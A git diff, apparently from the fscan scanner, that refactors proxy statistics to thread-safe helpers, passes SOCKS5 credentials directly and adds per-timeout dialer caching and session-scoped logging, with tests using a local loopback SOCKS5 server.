m.stats.LastConnectTime, - LastError: m.stats.LastError, - ProxyType: m.stats.ProxyType, - ProxyAddress: m.stats.ProxyAddress, - } + return m.stats.snapshot() } // createDirectDialer 创建直连拨号器 @@ -156,6 +142,9 @@ func (m *manager) createDirectDialer() Dialer { func (m *manager) createSOCKS5Dialer() (Dialer, error) { // 检查缓存 cacheKey := fmt.Sprintf(CacheKeySOCKS5, m.config.Address) + if m.config.Username != "" || m.config.Password != "" { + cacheKey = fmt.Sprintf("%s_%s_%s", cacheKey, m.config.Username, m.config.Password) + } m.cacheMu.RLock() if time.Now().Before(m.cacheExpiry) { if cached, exists := m.dialerCache[cacheKey]; exists { @@ -165,18 +154,6 @@ func (m *manager) createSOCKS5Dialer() (Dialer, error) { } m.cacheMu.RUnlock() - // 解析代理地址 - proxyURL := fmt.Sprintf(SOCKS5URLFormat, m.config.Address) - if m.config.Username != "" { - proxyURL = fmt.Sprintf(SOCKS5URLAuthFormat, - m.config.Username, m.config.Password, m.config.Address) - } - - u, err := url.Parse(proxyURL) - if err != nil { - return nil, NewProxyError(ErrTypeConfig, ErrMsgSOCKS5ParseFailed, ErrCodeSOCKS5ParseFailed, err) - } - // 创建基础拨号器 baseDial := &net.Dialer{ Timeout: m.config.Timeout, @@ -185,16 +162,14 @@ func (m *manager) createSOCKS5Dialer() (Dialer, error) { // 创建SOCKS5拨号器 var auth *proxy.Auth - if u.User != nil { + if m.config.Username != "" || m.config.Password != "" { auth = &proxy.Auth{ - User: u.User.Username(), - } - if password, hasPassword := u.User.Password(); hasPassword { - auth.Password = password + User: m.config.Username, + Password: m.config.Password, } } - socksDialer, err := proxy.SOCKS5(NetworkTCP, u.Host, auth, baseDial) + socksDialer, err := proxy.SOCKS5(NetworkTCP, m.config.Address, auth, baseDial) if err != nil { return nil, NewProxyError(ErrTypeConnection, ErrMsgSOCKS5CreateFailed, ErrCodeSOCKS5CreateFailed, err) } @@ -258,7 +233,7 @@ func (d *directDialer) Dial(network, address string) (net.Conn, error) { func (d *directDialer) DialContext(ctx context.Context, network, address string) (net.Conn, error) { start := time.Now() - atomic.AddInt64(&d.stats.TotalConnections, 1) + d.stats.addTotal(1) dialer := &net.Dialer{ Timeout: d.timeout, @@ -275,19 +250,15 @@ func (d *directDialer) DialContext(ctx context.Context, network, address string) duration := time.Since(start) - d.stats.mu.Lock() - d.stats.LastConnectTime = start - d.stats.mu.Unlock() + d.stats.setLastConnectTime(start) if err != nil { - atomic.AddInt64(&d.stats.FailedConnections, 1) - d.stats.mu.Lock() - d.stats.LastError = err.Error() - d.stats.mu.Unlock() + d.stats.addFailed(1) + d.stats.setLastError(err.Error()) return nil, NewProxyError(ErrTypeConnection, ErrMsgDirectConnFailed, ErrCodeDirectConnFailed, err) } - atomic.AddInt64(&d.stats.ActiveConnections, 1) + d.stats.addActive(1) d.updateAverageConnectTime(duration) return &trackedConn{ @@ -309,7 +280,7 @@ func (s *socks5Dialer) Dial(network, address string) (net.Conn, error) { func (s *socks5Dialer) DialContext(ctx context.Context, network, address string) (net.Conn, error) { start := time.Now() - atomic.AddInt64(&s.stats.TotalConnections, 1) + s.stats.addTotal(1) // 创建一个带超时的上下文 dialCtx, cancel := context.WithTimeout(ctx, s.config.Timeout) @@ -337,27 +308,21 @@ func (s *socks5Dialer) DialContext(ctx context.Context, network, address string) select { case <-dialCtx.Done(): - atomic.AddInt64(&s.stats.FailedConnections, 1) - s.stats.mu.Lock() - s.stats.LastError = dialCtx.Err().Error() - s.stats.mu.Unlock() + s.stats.addFailed(1) + s.stats.setLastError(dialCtx.Err().Error()) return nil, NewProxyError(ErrTypeTimeout, ErrMsgSOCKS5ConnTimeout, ErrCodeSOCKS5ConnTimeout, dialCtx.Err()) case result := <-connChan: duration := time.Since(start) - s.stats.mu.Lock() - s.stats.LastConnectTime = start - s.stats.mu.Unlock() + s.stats.setLastConnectTime(start) if result.err != nil { - atomic.AddInt64(&s.stats.FailedConnections, 1) - s.stats.mu.Lock() - s.stats.LastError = result.err.Error() - s.stats.mu.Unlock() + s.stats.addFailed(1) + s.stats.setLastError(result.err.Error()) return nil, NewProxyError(ErrTypeConnection, ErrMsgSOCKS5ConnFailed, ErrCodeSOCKS5ConnFailed, result.err) } - atomic.AddInt64(&s.stats.ActiveConnections, 1) + s.stats.addActive(1) s.updateAverageConnectTime(duration) return &trackedConn{ diff --git a/common/proxy/manager_test.go b/common/proxy/manager_test.go index 4935d94..3ba41e8 100644 --- a/common/proxy/manager_test.go +++ b/common/proxy/manager_test.go @@ -1,6 +1,9 @@ package proxy import ( + "fmt" + "io" + "net" "testing" "time" ) @@ -242,6 +245,73 @@ func TestGetDialer_HTTPS(t *testing.T) { t.Logf("✓ GetDialer 返回HTTPS代理拨号器") } +func TestGetDialer_SOCKS5AuthSpecialChars(t *testing.T) { + ln, err := net.Listen("tcp", "127.0.0.1:0") + if err != nil { + t.Fatalf("listen failed: %v", err) + } + defer ln.Close() + + type credential struct { + user string + pass string + } + authCh := make(chan credential, 1) + errCh := make(chan error, 1) + + go func() { + conn, err := ln.Accept() + if err != nil { + errCh <- err + return + } + defer conn.Close() + + user, pass, err := handleTestSOCKS5Auth(conn) + if err != nil { + errCh <- err + return + } + authCh <- credential{user: user, pass: pass} + }() + + origProbed := IsProxyProbed() + SetProxyProbed(true) + defer SetProxyProbed(origProbed) + + config := &ProxyConfig{ + Type: ProxyTypeSOCKS5, + Address: ln.Addr().String(), + Username: "user", + Password: "p@ss:word#1", + Timeout: time.Second, + } + manager := NewProxyManager(config) + dialer, err := manager.GetDialer() + if err != nil { + t.Fatalf("GetDialer failed: %v", err) + } + + conn, err := dialer.Dial("tcp", "127.0.0.1:80") + if err != nil { + t.Fatalf("SOCKS5 dial failed: %v", err) + } + _ = conn.Close() + + select { + case got := <-authCh: + if got.user != config.Username || got.pass != config.Password { + t.Fatalf("auth = %q/%q, want %q/%q", got.user, got.pass, config.Username, config.Password) + } + case err := <-errCh: + t.Fatalf("SOCKS5 test server failed: %v", err) + case <-time.After(time.Second): + t.Fatal("timed out waiting for SOCKS5 auth") + } + + t.Logf("✓ SOCKS5认证支持特殊字符密码") +} + // ============================================================================= // GetTLSDialer - TLS拨号器获取测试 // ============================================================================= @@ -559,3 +629,89 @@ func TestDirectDialer_LocalAddr_Loopback(t *testing.T) { t.Logf("✓ LocalAddr 绑定正常工作(连接失败是预期的): %v", err) } } + +func handleTestSOCKS5Auth(conn net.Conn) (string, string, error) { + header := make([]byte, 2) + if _, err := io.ReadFull(conn, header); err != nil { + return "", "", err + } + if header[0] != 0x05 { + return "", "", fmt.Errorf("unexpected socks version: %d", header[0]) + } + methods := make([]byte, int(header[1])) + if _, err := io.ReadFull(conn, methods); err != nil { + return "", "", err + } + hasAuth := false + for _, method := range methods { + if method == 0x02 { + hasAuth = true + break + } + } + if !hasAuth { + return "", "", fmt.Errorf("client did not offer username/password auth") + } + if _, err := conn.Write([]byte{0x05, 0x02}); err != nil { + return "", "", err + } + + authHeader := make([]byte, 2) + if _, err := io.ReadFull(conn, authHeader); err != nil { + return "", "", err + } + if authHeader[0] != 0x01 { + return "", "", fmt.Errorf("unexpected auth version: %d", authHeader[0]) + } + userBytes := make([]byte, int(authHeader[1])) + if _, err := io.ReadFull(conn, userBytes); err != nil { + return "", "", err + } + passLen := make([]byte, 1) + if _, err := io.ReadFull(conn, passLen); err != nil { + return "", "", err + } + passBytes := make([]byte, int(passLen[0])) + if _, err := io.ReadFull(conn, passBytes); err != nil { + return "", "", err + } + if _, err := conn.Write([]byte{0x01, 0x00}); err != nil { + return "", "", err + } + + reqHeader := make([]byte, 4) + if _, err := io.ReadFull(conn, reqHeader); err != nil { + return "", "", err + } + if reqHeader[0] != 0x05 || reqHeader[1] != 0x01 { + return "", "", fmt.Errorf("unexpected request header: %v", reqHeader) + } + if err := discardSOCKS5Address(conn, reqHeader[3]); err != nil { + return "", "", err + } + if _, err := conn.Write([]byte{0x05, 0x00, 0x00, 0x01, 0, 0, 0, 0, 0, 0}); err != nil { + return "", "", err + } + + return string(userBytes), string(passBytes), nil +} + +func discardSOCKS5Address(conn net.Conn, atyp byte) error { + switch atyp { + case 0x01: + _, err := io.CopyN(io.Discard, conn, 6) + return err + case 0x03: + length := make([]byte, 1) + if _, err := io.ReadFull(conn, length); err != nil { + return err + } + _, err := io.CopyN(io.Discard, conn, int64(length[0])+2) + return err + case 0x04: + _, err := io.CopyN(io.Discard, conn, 18) + return err + default: + return fmt.Errorf("unsupported atyp: %d", atyp) + } +} diff --git a/common/proxy/tlsdialer.go b/common/proxy/tlsdialer.go index 3af4292..d4921f1 100644 --- a/common/proxy/tlsdialer.go +++ b/common/proxy/tlsdialer.go @@ -49,10 +49,8 @@ func (t *tlsDialerWrapper) DialTLSContext(ctx context.Context, network, address // 进行TLS握手 if err := tlsConn.Handshake(); err != nil { _ = tcpConn.Close() // TLS握手失败,Close错误可忽略 - atomic.AddInt64(&t.stats.FailedConnections, 1) - t.stats.mu.Lock() - t.stats.LastError = err.Error() - t.stats.mu.Unlock() + t.stats.addFailed(1) + t.stats.setLastError(err.Error()) return nil, NewProxyError(ErrTypeConnection, ErrMsgTLSHandshakeFailed, ErrCodeTLSHandshakeFailed, err) } @@ -84,16 +82,16 @@ func (t *tlsDialerWrapper) updateAverageConnectTime(duration time.Duration) { // trackedConn 带统计的连接 type trackedConn struct { + bytesSent atomic.Int64 + bytesRecv atomic.Int64 net.Conn - stats *ProxyStats - bytesSent int64 - bytesRecv int64 + stats *ProxyStats } func (tc *trackedConn) Read(b []byte) (n int, err error) { n, err = tc.Conn.Read(b) if n > 0 { - atomic.AddInt64(&tc.bytesRecv, int64(n)) + tc.bytesRecv.Add(int64(n)) } return n, err } @@ -101,13 +99,13 @@ func (tc *trackedConn) Read(b []byte) (n int, err error) { func (tc *trackedConn) Write(b []byte) (n int, err error) { n, err = tc.Conn.Write(b) if n > 0 { - atomic.AddInt64(&tc.bytesSent, int64(n)) + tc.bytesSent.Add(int64(n)) } return n, err } func (tc *trackedConn) Close() error { - atomic.AddInt64(&tc.stats.ActiveConnections, -1) + tc.stats.addActive(-1) return tc.Conn.Close() } diff --git a/common/proxy/types.go b/common/proxy/types.go index adb8c50..985a5c2 100644 --- a/common/proxy/types.go +++ b/common/proxy/types.go @@ -96,9 +96,9 @@ type ProxyManager interface { // //nolint:revive // 保持与现有代码的向后兼容性 type ProxyStats struct { - TotalConnections int64 `json:"total_connections"` - ActiveConnections int64 `json:"active_connections"` - FailedConnections int64 `json:"failed_connections"` + TotalConnections int64 `json:"total_connections"` + ActiveConnections int64 `json:"active_connections"` + FailedConnections int64 `json:"failed_connections"` mu sync.Mutex `json:"-"` AverageConnectTime time.Duration `json:"average_connect_time"` LastConnectTime time.Time `json:"last_connect_time"` @@ -107,6 +107,52 @@ type ProxyStats struct { ProxyAddress string `json:"proxy_address"` } +func (s *ProxyStats) addTotal(delta int64) { + s.mu.Lock() + s.TotalConnections += delta + s.mu.Unlock() +} + +func (s *ProxyStats) addActive(delta int64) { + s.mu.Lock() + s.ActiveConnections += delta + s.mu.Unlock() +} + +func (s *ProxyStats) addFailed(delta int64) { + s.mu.Lock() + s.FailedConnections += delta + s.mu.Unlock() +} + +func (s *ProxyStats) setLastConnectTime(t time.Time) { + s.mu.Lock() + s.LastConnectTime = t + s.mu.Unlock() +} + +func (s *ProxyStats) setLastError(err string) { + s.mu.Lock() + s.LastError = err + s.mu.Unlock() +} + +func (s *ProxyStats) snapshot() *ProxyStats { + s.mu.Lock() + defer s.mu.Unlock() + + return &ProxyStats{ + TotalConnections: s.TotalConnections, + ActiveConnections: s.ActiveConnections, + FailedConnections: s.FailedConnections, + AverageConnectTime: s.AverageConnectTime, + LastConnectTime: s.LastConnectTime, + LastError: s.LastError, + ProxyType: s.ProxyType, + ProxyAddress: s.ProxyAddress, + } +} + // ProxyError 代理错误类型 // //nolint:revive // 保持与现有代码的向后兼容性 diff --git a/common/session.go b/common/session.go index 18e0328..42bdc96 100644 --- a/common/session.go +++ b/common/session.go @@ -4,24 +4,32 @@ import ( "context" "fmt" "net" + "net/http" "strings" "sync" "time" + "github.com/shadow1ng/fscan/common/i18n" + "github.com/shadow1ng/fscan/common/output" "github.com/shadow1ng/fscan/common/proxy" ) +// ResultSink receives structured scan results for one scan session. +type ResultSink func(result *output.ScanResult) error + // ScanSession 封装单次扫描的全部上下文 // 一次扫描一个 session,并发扫描各自独立 type ScanSession struct { - Config *Config // 不可变,创建后只读 - State *State // 可变,原子操作,每会话独立 - Params *FlagVars // 原始参数,只读 + Config *Config // 不可变,创建后只读 + State *State // 可变,原子操作,每会话独立 + Params *FlagVars // 原始参数,只读 + ResultSink ResultSink // 可选,覆盖全局输出 + PauseGate func(ctx context.Context) error - // 每会话 dialer(懒初始化,取决于代理配置) - dialerOnce sync.Once - dialer proxy.Dialer - dialerErr error + // 每会话 dialer(按 timeout 懒初始化,取决于代理配置) + dialerMu sync.Mutex + dialers map[time.Duration]proxy.Dialer + dialerErrs map[time.Duration]error } // NewScanSession 从已构建的 Config、State 和 FlagVars 创建会话 @@ -33,18 +41,66 @@ func NewScanSession(config *Config, state *State, params *FlagVars) *ScanSession } } +// SaveResult saves a scan result through the session sink if present, otherwise +// falls back to the process-wide output pipeline used by the CLI. +func (s *ScanSession) SaveResult(result *output.ScanResult) error { + if s != nil && s.ResultSink != nil { + return s.ResultSink(result) + } + return SaveResult(result) +} + +func (s *ScanSession) loggingEnabled() bool { + return s == nil || s.Config == nil || !s.Config.Output.Silent +} + +// LogDebug writes through the session's logging policy. +func (s *ScanSession) LogDebug(msg string) { + if s.loggingEnabled() { + LogDebug(msg) + } +} + +// LogInfo writes through the session's logging policy. +func (s *ScanSession) LogInfo(msg string) { + if s.loggingEnabled() { + LogInfo(msg) + } +} + +// LogSuccess writes through the session's logging policy. +func (s *ScanSession) LogSuccess(result string) { + if s.loggingEnabled() { + LogSuccess(result) + } +} + +// LogVuln writes through the session's logging policy. +func (s *ScanSession) LogVuln(result string) { + if s.loggingEnabled() { + LogVuln(result) + } +} + +// LogError writes through the session's logging policy. +func (s *ScanSession) LogError(errMsg string) { + if s.loggingEnabled() { + LogError(errMsg) + } +} + // DialTCP 创建 TCP 连接,内含限速检查、代理、计数 func (s *ScanSession) DialTCP(ctx context.Context, network, address string, timeout time.Duration) (net.Conn, error) { // 检查发包限制 if ok, err := CanSendPacketWith(s.Config, s.State); !ok { - LogError(fmt.Sprintf("TCP连接 %s 受限: %s", address, err.Error())) - return nil, fmt.Errorf("发包受限: %s", err.Error()) + s.LogError(i18n.Tr("tcp_connection_restricted", address, err.Error())) + return nil, fmt.Errorf("%s", i18n.Tr("network_rate_limited", err.Error())) } // 获取 dialer - dialer, err := s.getDialer() + dialer, err := s.getDialer(timeout) if err != nil { - LogError(fmt.Sprintf("获取代理拨号器失败: %v", err)) + s.LogError(i18n.Tr("proxy_dialer_failed", err)) s.State.IncrementTCPFailedPacketCount() return nil, err } @@ -52,7 +108,7 @@ func (s *ScanSession) DialTCP(ctx context.Context, network, address string, time conn, err := dialer.DialContext(ctx, network, address) if err != nil { s.State.IncrementTCPFailedPacketCount() - LogDebug(fmt.Sprintf("连接 %s 失败: %v", address, err)) + s.LogDebug(i18n.Tr("connection_failed", address, err)) return nil, err } @@ -65,18 +121,87 @@ func (s *ScanSession) DialTCP(ctx context.Context, network, address string, time return conn, nil } -func (s *ScanSession) getDialer() (proxy.Dialer, error) { - s.dialerOnce.Do(func() { - cfg := s.createProxyConfig() - manager := proxy.NewProxyManager(cfg) - s.dialer, s.dialerErr = manager.GetDialer() - }) - return s.dialer, s.dialerErr +// DialUDP creates a connected UDP socket with rate limiting and packet counting. +// UDP cannot be proxied; if a proxy is configured the connection is made directly. +func (s *ScanSession) DialUDP(ctx context.Context, address string, timeout time.Duration) (net.Conn, error) { + if ok, err := CanSendPacketWith(s.Config, s.State); !ok { + return nil, fmt.Errorf("%s", i18n.Tr("network_rate_limited", err.Error())) + } + + conn, err := net.DialTimeout("udp", address, timeout) + if err != nil { + s.State.IncrementUDPPacketCount() + return nil, err + } + _ = conn.SetDeadline(time.Now().Add(timeout)) + s.State.IncrementUDPPacketCount() + return conn, nil } -func (s *ScanSession) createProxyConfig() *proxy.ProxyConfig { +// HTTPDo executes an HTTP request with the session's packet limits and counters. +func (s *ScanSession) HTTPDo(client *http.Client, req *http.Request) (*http.Response, error) { + if ok, err := CanSendPacketWith(s.Config, s.State); !ok { + s.LogError(i18n.Tr("http_request_restricted", req.URL.String(), err.Error())) + return nil, fmt.Errorf("%s", i18n.Tr("network_rate_limited", err.Error())) + } + + resp, err := client.Do(req) + if err != nil { + s.State.IncrementTCPFailedPacketCount() + return nil, err + } + s.State.IncrementTCPSuccessPacketCount() + return resp, nil +} + +// ProxyEnabled reports whether this scan session uses a network proxy. +func (s *ScanSession) ProxyEnabled() bool { + if s == nil || s.Config == nil { + return false + } + return s.Config.Network.Socks5Proxy != "" || s.Config.Network.HTTPProxy != "" +} + +// IsSOCKS5Proxy reports whether this scan session uses SOCKS5. +func (s *ScanSession) IsSOCKS5Proxy() bool { + return s != nil && s.Config != nil && s.Config.Network.Socks5Proxy != "" +} + +// ProxyReliable reports whether the session proxy should be treated as reliable. +func (s *ScanSession) ProxyReliable() bool { + if !s.ProxyEnabled() || !s.IsSOCKS5Proxy() { + return true + } + return proxy.IsProxyReliable() +} + +func (s *ScanSession) getDialer(timeout time.Duration) (proxy.Dialer, error) { + if timeout <= 0 { + timeout = s.Config.Timeout + } + + s.dialerMu.Lock() + defer s.dialerMu.Unlock() + + if s.dialers == nil { + s.dialers = make(map[time.Duration]proxy.Dialer) + s.dialerErrs = make(map[time.Duration]error) + } + if dialer, ok := s.dialers[timeout]; ok { + return dialer, s.dialerErrs[timeout] + } + + cfg := s.createProxyConfig(timeout) + manager := proxy.NewProxyManager(cfg) + dialer, err := manager.GetDialer() + s.dialers[timeout] = dialer + s.dialerErrs[timeout] = err + return dialer, err +} + +func (s *ScanSession) createProxyConfig(timeout time.Duration) *proxy.ProxyConfig { cfg := proxy.DefaultProxyConfig() - cfg.Timeout = s.Config.Timeout + cfg.Timeout = timeout cfg.LocalAddr = s.Config.Network.Iface // 优先 SOCKS5 diff --git a/common/session_test.go b/common/session_test.go new file mode 100644 index 0000000..cb03d17 --- /dev/null +++ b/common/session_test.go @@ -0,0 +1,148 @@ +package common + +import ( + "io" + "net/http" + "strings" + "testing" + "time" +) + +func TestScanSessionLogMethodsHonorSilentConfig(t *testing.T) { + loggerMu.Lock() + silentLoggerRefs = 0 + resetLoggerLocked() + loggerMu.Unlock() + t.Cleanup(func() { + loggerMu.Lock() + silentLoggerRefs = 0 + resetLoggerLocked() + loggerMu.Unlock() + }) + + cfg := NewConfig() + cfg.Output.Silent = true + session := NewScanSession(cfg, NewState(), &FlagVars{}) + + session.LogDebug("debug") + session.LogInfo("info") + session.LogSuccess("success") + session.LogVuln("vuln") + session.LogError("error") + + loggerMu.Lock() + defer loggerMu.Unlock() + if globalLogger != nil { + t.Fatal("silent session log methods initialized global logger") + } +} + +func TestScanSessionDialerCacheIsTimeoutAware(t *testing.T) { + cfg := NewConfig() + cfg.Timeout = 5 * time.Second + session := NewScanSession(cfg, NewState(), &FlagVars{}) + + shortTimeout := 100 * time.Millisecond + longTimeout := 2 * time.Second + + shortDialer, err := session.getDialer(shortTimeout) + if err != nil { + t.Fatal(err) + } + shortDialerAgain, err := session.getDialer(shortTimeout) + if err != nil { + t.Fatal(err) + } + longDialer, err := session.getDialer(longTimeout) + if err != nil { + t.Fatal(err) + } + + if shortDialer != shortDialerAgain { + t.Fatal("same timeout should reuse the session dialer") + } + if shortDialer == longDialer { + t.Fatal("different timeouts should not share one session dialer") + } + if got := session.createProxyConfig(shortTimeout).Timeout; got != shortTimeout { + t.Fatalf("proxy timeout = %v, want %v", got, shortTimeout) + } +} + +func TestScanSessionHTTPDoUsesSessionState(t *testing.T) { + previousState := GetGlobalState() + globalState := NewState() + SetGlobalState(globalState) + t.Cleanup(func() { SetGlobalState(previousState) }) + + sessionState := NewState() + session := NewScanSession(NewConfig(), sessionState, &FlagVars{}) + client := &http.Client{ + Transport: roundTripFunc(func(*http.Request) (*http.Response, error) { + return &http.Response{ + StatusCode: http.StatusNoContent, + Body: io.NopCloser(strings.NewReader("")), + Header: make(http.Header), + }, nil + }), + } + req, err := http.NewRequest(http.MethodHead, "http://example.com", nil) + if err != nil { + t.Fatal(err) + } + + resp, err := session.HTTPDo(client, req) + if err != nil { + t.Fatal(err) + } + _ = resp.Body.Close() + + if got := sessionState.GetTCPSuccessPacketCount(); got != 1 { + t.Fatalf("session TCP success count = %d, want 1", got) + } + if got := globalState.GetTCPSuccessPacketCount(); got != 0 { + t.Fatalf("global TCP success count = %d, want 0", got) + } +} + +func TestScanSessionProxyStateComesFromConfig(t *testing.T) { + direct := NewScanSession(NewConfig(), NewState(), &FlagVars{}) + if direct.ProxyEnabled() { + t.Fatal("direct session should not report proxy enabled") + } + if direct.IsSOCKS5Proxy() { + t.Fatal("direct session should not report SOCKS5") + } + if !direct.ProxyReliable() { + t.Fatal("direct session should be reliable") + } + + httpCfg := NewConfig() + httpCfg.Network.HTTPProxy = "http://127.0.0.1:8080" + httpSession := NewScanSession(httpCfg, NewState(), &FlagVars{}) + if !httpSession.ProxyEnabled() { + t.Fatal("HTTP proxy session should report proxy enabled") + } + if httpSession.IsSOCKS5Proxy() { + t.Fatal("HTTP proxy session should not report SOCKS5") + } + if !httpSession.ProxyReliable() { + t.Fatal("HTTP proxy session should be reliable") + } + + socksCfg := NewConfig() + socksCfg.Network.Socks5Proxy = "127.0.0.1:1080" + socksSession := NewScanSession(socksCfg, NewState(), &FlagVars{}) + if !socksSession.ProxyEnabled() { + t.Fatal("SOCKS5 proxy session should report proxy enabled") + } + if !socksSession.IsSOCKS5Proxy() { + t.Fatal("SOCKS5 proxy session should report SOCKS5") + } +} + +type roundTripFunc func(*http.Request) (*http.Response, error) + +func (f roundTripFunc) RoundTrip(req *http.Request) (*http.Response, error) { + return f(req) +} diff --git a/common/state.go b/common/state.go index e8fcd00..da4dea5 100644 --- a/common/state.go +++ b/common/state.go @@ -23,17 +23,17 @@ state.go - 运行时状态管理 // State 扫描器运行时状态 - 线程安全 type State struct { // 计数器 - 原子操作 - packetCount int64 - tcpPacketCount int64 - tcpSuccessPacketCount int64 - tcpFailedPacketCount int64 - udpPacketCount int64 - httpPacketCount int64 - resourceExhaustedCount int64 + packetCount atomic.Int64 + tcpPacketCount atomic.Int64 + tcpSuccessPacketCount atomic.Int64 + tcpFailedPacketCount atomic.Int64 + udpPacketCount atomic.Int64 + httpPacketCount atomic.Int64 + resourceExhaustedCount atomic.Int64 // 任务计数 - end int64 - num int64 + end atomic.Int64 + num atomic.Int64 // 时间 startTime time.Time @@ -71,38 +71,38 @@ func NewState() *State { // IncrementPacketCount 增加总包计数 func (s *State) IncrementPacketCount() int64 { - return atomic.AddInt64(&s.packetCount, 1) + return s.packetCount.Add(1) } // IncrementTCPSuccessPacketCount 增加TCP成功连接包计数 func (s *State) IncrementTCPSuccessPacketCount() int64 { - atomic.AddInt64(&s.tcpSuccessPacketCount, 1) - atomic.AddInt64(&s.tcpPacketCount, 1) - return atomic.AddInt64(&s.packetCount, 1) + s.tcpSuccessPacketCount.Add(1) + s.tcpPacketCount.Add(1) + return s.packetCount.Add(1) } // IncrementTCPFailedPacketCount 增加TCP失败连接包计数 func (s *State) IncrementTCPFailedPacketCount() int64 { - atomic.AddInt64(&s.tcpFailedPacketCount, 1) - atomic.AddInt64(&s.tcpPacketCount, 1) - return atomic.AddInt64(&s.packetCount, 1) + s.tcpFailedPacketCount.Add(1) + s.tcpPacketCount.Add(1) + return s.packetCount.Add(1) } // IncrementUDPPacketCount 增加UDP包计数 func (s *State) IncrementUDPPacketCount() int64 { - atomic.AddInt64(&s.udpPacketCount, 1) - return atomic.AddInt64(&s.packetCount, 1) + s.udpPacketCount.Add(1) + return s.packetCount.Add(1) } // IncrementHTTPPacketCount 增加HTTP包计数 func (s *State) IncrementHTTPPacketCount() int64 { - atomic.AddInt64(&s.httpPacketCount, 1) - return atomic.AddInt64(&s.packetCount, 1) + s.httpPacketCount.Add(1) + return s.packetCount.Add(1) } // IncrementResourceExhaustedCount 增加资源耗尽错误计数 func (s *State) IncrementResourceExhaustedCount() { - atomic.AddInt64(&s.resourceExhaustedCount, 1) + s.resourceExhaustedCount.Add(1) } // ============================================================================= @@ -111,48 +111,48 @@ func (s *State) IncrementResourceExhaustedCount() { // GetPacketCount 获取总包计数 func (s *State) GetPacketCount() int64 { - return atomic.LoadInt64(&s.packetCount) + return s.packetCount.Load() } // GetTCPPacketCount 获取TCP包计数 func (s *State) GetTCPPacketCount() int64 { - return atomic.LoadInt64(&s.tcpPacketCount) + return s.tcpPacketCount.Load() } // GetTCPSuccessPacketCount 获取TCP成功连接包计数 func (s *State) GetTCPSuccessPacketCount() int64 { - return atomic.LoadInt64(&s.tcpSuccessPacketCount) + return s.tcpSuccessPacketCount.Load() } // GetTCPFailedPacketCount 获取TCP失败连接包计数 func (s *State) GetTCPFailedPacketCount() int64 { - return atomic.LoadInt64(&s.tcpFailedPacketCount) + return s.tcpFailedPacketCount.Load() } // GetUDPPacketCount 获取UDP包计数 func (s *State) GetUDPPacketCount() int64 { - return atomic.LoadInt64(&s.udpPacketCount) + return s.udpPacketCount.Load() } // GetHTTPPacketCount 获取HTTP包计数 func (s *State) GetHTTPPacketCount() int64 { - return atomic.LoadInt64(&s.httpPacketCount) + return s.httpPacketCount.Load() } // GetResourceExhaustedCount 获取资源耗尽错误计数 func (s *State) GetResourceExhaustedCount() int64 { - return atomic.LoadInt64(&s.resourceExhaustedCount) + return s.resourceExhaustedCount.Load() } // ResetPacketCounters 重置所有包计数器 func (s *State) ResetPacketCounters() { - atomic.StoreInt64(&s.packetCount, 0) - atomic.StoreInt64(&s.tcpPacketCount, 0) - atomic.StoreInt64(&s.tcpSuccessPacketCount, 0) - atomic.StoreInt64(&s.tcpFailedPacketCount, 0) - atomic.StoreInt64(&s.udpPacketCount, 0) - atomic.StoreInt64(&s.httpPacketCount, 0) - atomic.StoreInt64(&s.resourceExhaustedCount, 0) + s.packetCount.Store(0) + s.tcpPacketCount.Store(0) + s.tcpSuccessPacketCount.Store(0) + s.tcpFailedPacketCount.Store(0) + s.udpPacketCount.Store(0) + s.httpPacketCount.Store(0) + s.resourceExhaustedCount.Store(0) } // ============================================================================= @@ -161,32 +161,32 @@ func (s *State) ResetPacketCounters() { // GetEnd 获取结束计数 func (s *State) GetEnd() int64 { - return atomic.LoadInt64(&s.end) + return s.end.Load() } // GetNum 获取数量计数 func (s *State) GetNum() int64 { - return atomic.LoadInt64(&s.num) + return s.num.Load() } // IncrementEnd 增加结束计数 func (s *State) IncrementEnd() int64 { - return atomic.AddInt64(&s.end, 1) + return s.end.Add(1) } // IncrementNum 增加数量计数 func (s *State) IncrementNum() int64 { - return atomic.AddInt64(&s.num, 1) + return s.num.Add(1) } // SetEnd 设置结束计数 func (s *State) SetEnd(val int64) { - atomic.StoreInt64(&s.end, val) + s.end.Store(val) } // SetNum 设置数量计数 func (s *State) SetNum(val int64) { - atomic.StoreInt64(&s.num, val) + s.num.Store(val) } // ============================================================================= @@ -271,10 +271,10 @@ type PerfStatsData struct { func (s *State) GetPerfStats() PerfStatsData { duration := time.Since(s.startTime) durationMs := duration.Milliseconds() - totalPackets := atomic.LoadInt64(&s.packetCount) - tcpSuccess := atomic.LoadInt64(&s.tcpSuccessPacketCount) - tcpFailed := atomic.LoadInt64(&s.tcpFailedPacketCount) - tcpTotal := atomic.LoadInt64(&s.tcpPacketCount) + totalPackets := s.packetCount.Load() + tcpSuccess := s.tcpSuccessPacketCount.Load() + tcpFailed := s.tcpFailedPacketCount.Load() + tcpTotal := s.tcpPacketCount.Load() var pps float64 if durationMs > 0 { @@ -291,13 +291,13 @@ func (s *State) GetPerfStats() PerfStatsData { TCPPackets: tcpTotal, TCPSuccess: tcpSuccess, TCPFailed: tcpFailed, - UDPPackets: atomic.LoadInt64(&s.udpPacketCount), - HTTPPackets: atomic.LoadInt64(&s.httpPacketCount), - ResourceExhausted: atomic.LoadInt64(&s.resourceExhaustedCount), + UDPPackets: s.udpPacketCount.Load(), + HTTPPackets: s.httpPacketCount.Load(), + ResourceExhausted: s.resourceExhaustedCount.Load(), ScanDurationMs: durationMs, PacketsPerSecond: pps, SuccessRate: successRate, - TargetsScanned: atomic.LoadInt64(&s.num), + TargetsScanned: s.num.Load(), } } diff --git a/core/adaptive_pool.go b/core/adaptive_pool.go index e504973..d07041e 100644 --- a/core/adaptive_pool.go +++ b/core/adaptive_pool.go @@ -8,6 +8,7 @@ import ( "github.com/panjf2000/ants/v2" "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/common/i18n" ) // AdaptivePool 自适应线程池 @@ -23,7 +24,7 @@ type AdaptivePool struct { // 监控参数 checkInterval time.Duration - lastCheck time.Time + lastCheckNano atomic.Int64 // UnixNano lastExhaustedCount int64 lastPacketCount int64 @@ -67,20 +68,22 @@ func (ap *AdaptivePool) Invoke(task interface{}) error { } // maybeAdjust 检查并可能调整线程池大小 +// 使用原子 CAS 进行时间检查,99%+ 的调用零锁开销 func (ap *AdaptivePool) maybeAdjust() { - now := time.Now() - - ap.mu.Lock() - if now.Sub(ap.lastCheck) < ap.checkInterval { - ap.mu.Unlock() + lastCheck := ap.lastCheckNano.Load() + now := time.Now().UnixNano() + if now-lastCheck < int64(ap.checkInterval) { return } - ap.lastCheck = now + if !ap.lastCheckNano.CompareAndSwap(lastCheck, now) { + return // 其他 goroutine 已在检查 